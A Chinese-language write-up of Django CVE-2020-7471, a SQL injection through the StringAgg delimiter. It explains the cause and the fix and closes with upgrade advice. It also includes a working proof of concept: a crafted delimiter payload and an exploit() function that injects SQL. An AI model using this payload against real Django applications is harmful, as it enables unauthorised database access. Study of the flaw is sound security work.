CVE-2020-7471 漏洞详细分析原理以及POC (原创)
字数 1236 2025-08-26 22:11:56
Django CVE-2020-7471 SQL注入漏洞分析与利用指南
漏洞概述
CVE-2020-7471是Django框架中的一个SQL注入漏洞,影响以下版本:
- Django 1.11.x < 1.11.28
- Django 2.2.x < 2.2.10
- Django 3.0.x < 3.0.3
该漏洞存在于django.contrib.postgres.aggregates.StringAgg聚合函数中,当使用不受信任的数据作为delimiter参数时,可能导致SQL注入攻击。
漏洞原理
漏洞背景
StringAgg是Django为PostgreSQL提供的聚合函数,用于将多行数据使用指定的分隔符连接成一个字符串。其语法为:
StringAgg(expression, delimiter)
漏洞根源
问题出在delimiter参数的处理上:
- 在受影响版本中,
delimiter参数直接拼接到SQL语句中,没有经过参数化处理 - 攻击者可以构造恶意的
delimiter值来破坏原始SQL语句结构 - 这允许攻击者注入任意SQL代码,可能导致数据泄露或更严重的后果
官方修复
Django团队通过以下方式修复了该漏洞:
Value(str(delimiter))
使用Value()函数将delimiter参数作为参数化查询的一部分,而不是直接字符串拼接。
漏洞利用分析
环境要求
- Django受影响版本
- PostgreSQL数据库
- 使用StringAgg聚合函数
漏洞验证步骤
- 正常查询示例:
results = Info.objects.all().values('gender').annotate(
mydefinedname=StringAgg('name', delimiter="-")
)
- 注入单引号测试:
results = Info.objects.all().values('gender').annotate(
mydefinedname=StringAgg('name', delimiter="'")
)
这将导致SQL语法错误,证明存在注入点。
- 构造恶意delimiter:
payload = '-\') AS "mydefinedname" FROM "vul_app_info" GROUP BY "vul_app_info"."gender" LIMIT 1 OFFSET 1 -- '
results = Info.objects.all().values('gender').annotate(
mydefinedname=StringAgg('name', delimiter=payload)
)
实际生成的SQL
漏洞版本生成的SQL语句:
SELECT "vul_app_info"."gender", STRING_AGG("vul_app_info"."name", '') AS "mydefinedname"
FROM "vul_app_info"
GROUP BY "vul_app_info"."gender"
LIMIT 1 OFFSET 1
当使用恶意delimiter时,实际执行的SQL变为:
SELECT "vul_app_info"."gender", STRING_AGG("vul_app_info"."name", '-') AS "mydefinedname" FROM "vul_app_info" GROUP BY "vul_app_info"."gender" LIMIT 1 OFFSET 1 -- ')
FROM "vul_app_info"
GROUP BY "vul_app_info"."gender"
LIMIT 1 OFFSET 1
漏洞利用POC
完整利用代码示例:
def exploit():
# 正常查询
print("[+] 正常查询结果:")
payload = '-'
results = Info.objects.all().values('gender').annotate(
mydefinedname=StringAgg('name', delimiter=payload)
)
for e in results:
print(e)
# 注入攻击
print("\n[+] 注入攻击结果:")
payload = '-\') AS "mydefinedname" FROM "vul_app_info" GROUP BY "vul_app_info"."gender" LIMIT 1 OFFSET 1 -- '
results = Info.objects.all().values('gender').annotate(
mydefinedname=StringAgg('name', delimiter=payload)
)
for e in results:
print(e)
修复建议
-
升级Django到安全版本:
- Django 1.11.28+
- Django 2.2.10+
- Django 3.0.3+
-
如果无法立即升级,可以手动应用修复:
- 自定义StringAgg子类,确保使用Value()处理delimiter参数
-
避免使用用户提供的输入作为StringAgg的delimiter参数
漏洞环境搭建
测试环境配置:
- Django 3.0.2
- PostgreSQL 10.11-3
- Python 3.6
环境搭建步骤:
- 安装依赖:
pip install django==3.0.2 psycopg2 - 配置PostgreSQL数据库连接
- 创建包含StringAgg聚合函数调用的视图
完整测试环境可参考:Saferman的GitHub仓库
总结
CVE-2020-7471漏洞展示了即使在使用ORM框架时,不当的参数处理仍可能导致SQL注入风险。开发人员应当:
- 始终使用框架提供的安全参数化方法
- 及时更新框架和依赖库
- 对用户提供的输入保持警惕,特别是在构建数据库查询时
该漏洞特别影响那些提供数据下载功能且允许用户指定列分隔符的Django应用程序,在实际渗透测试中应重点关注此类功能点。